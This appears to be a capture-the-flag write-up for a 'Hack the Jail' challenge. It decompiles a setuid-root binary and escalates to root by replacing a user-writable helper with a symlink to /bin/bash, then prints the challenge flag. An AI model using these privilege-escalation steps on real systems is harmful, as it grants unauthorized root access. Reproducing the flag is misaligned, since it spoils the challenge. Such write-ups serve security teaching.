115 lines
3.4 KiB
Markdown
115 lines
3.4 KiB
Markdown
# Hack the Jail - Part 2
|
|
|
|
## Difficulty
|
|
|
|
Moderate - the participant needs to know about the `setuid` bit, and needs to reverse engineer the binary using a tool such as Ghidra to gain more insight.
|
|
|
|
## How To Solve
|
|
|
|
|
|
### Connecting to the challenge
|
|
|
|
When connecting to the challenge's IP and port we get access to a shell running as the `ig` user.
|
|
|
|
```
|
|
bash5.1$ whoami
|
|
ig
|
|
```
|
|
|
|
The flag is still on `/flag.txt`, trying to read it results in a permission denied error as the file is only readable by `root`.
|
|
|
|
```
|
|
bash-5.1$ cat /flag.txt
|
|
cat: can't open '/flag.txt': Permission denied
|
|
```
|
|
|
|
Unfortunately, our luck of last time has run out, a simple `sudo cat /flag.txt` does not seem to work anymore.
|
|
In fact, `sudo` is not even installed. Let's move on to see what is inside of our home directory.
|
|
|
|
We notice that it contains two files (which were listed on the CTF platform in binary format as well):
|
|
|
|
* execute: a binary that is owned by root and has the following permissions: -rwsr-sr-x
|
|
* hello_world: a binary owned by the IG user that has the following permissions: -rwxr-xr-x
|
|
|
|
Comparing the two types of permissions, we notice that the `execute` binary has a special permission called `s`.
|
|
This indicates that the binary has the `setuid` capability, which means that it is able to change the user it is running as **during its execution**. We will come back to this later, as we will first reverse engineer both binaries.
|
|
|
|
### Reverse Engineering the Binaries
|
|
|
|
|
|
#### Hello World
|
|
|
|
Importing the `hello_world` program into Ghidra reveals that it indeed is a simple `hello_world` program:
|
|
|
|
```
|
|
|
|
undefined8 main(void)
|
|
|
|
{
|
|
puts("Hello World");
|
|
return 0;
|
|
}
|
|
|
|
```
|
|
|
|
Nothing to see here.
|
|
|
|
##### The "execute" program
|
|
|
|
The `execute` program is far more interesting:
|
|
|
|
```
|
|
|
|
undefined8 main(void)
|
|
|
|
{
|
|
long in_FS_OFFSET;
|
|
char *local_20;
|
|
char *local_18;
|
|
long local_10;
|
|
|
|
local_10 = *(long *)(in_FS_OFFSET + 0x28);
|
|
local_20 = (char *)0x0;
|
|
local_18 = (char *)0x0;
|
|
setuid(0);
|
|
execve("./hello_world",&local_20,&local_18);
|
|
puts("Could not execute program");
|
|
perror("execve");
|
|
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
|
|
/* WARNING: Subroutine does not return */
|
|
__stack_chk_fail();
|
|
}
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
Ignoring all memory allocations on top of the `main` function, we notice that the program first ensures that it is running as root. It can accomplish this by changing the user id it is running as using the `setuid` function. Typically, the user id `0` corresponds to the `root` or `superuser` of the system.
|
|
|
|
Note that this call would fail if the `setuid` capability bit was not set, because the `ig` user does not have permission to change the running user to `root`.
|
|
|
|
After it has changed the user it is running as, it replaces itself with the `hello_world` binary using the `execve` function.
|
|
|
|
## The Attack
|
|
|
|
Since the `hello_world` binary is owned by the `ig` user, we also have permission to change it.
|
|
Here we could change it to something that is able to read the `/flag.txt` file (using a bash script or another compiled C program). However, the easiest solution is to replace the binary with a shell, such that we can obtain a shell as the `root` user.
|
|
|
|
```
|
|
$ rm hello_world
|
|
$ ln -s /bin/bash hello_world
|
|
```
|
|
|
|
Running `execute` again results in a `root` shell!
|
|
|
|
```
|
|
bash5.1$ ./execute
|
|
bash5.1$ whoami
|
|
root
|
|
bash5.1$ cat /flag.txt
|
|
IGCTF{S3tUid?B3C4refulWith1t!}
|
|
```
|
|
|
|
## Flag
|
|
|
|
IGCTF{S3tUid?B3C4refulWith1t!}
|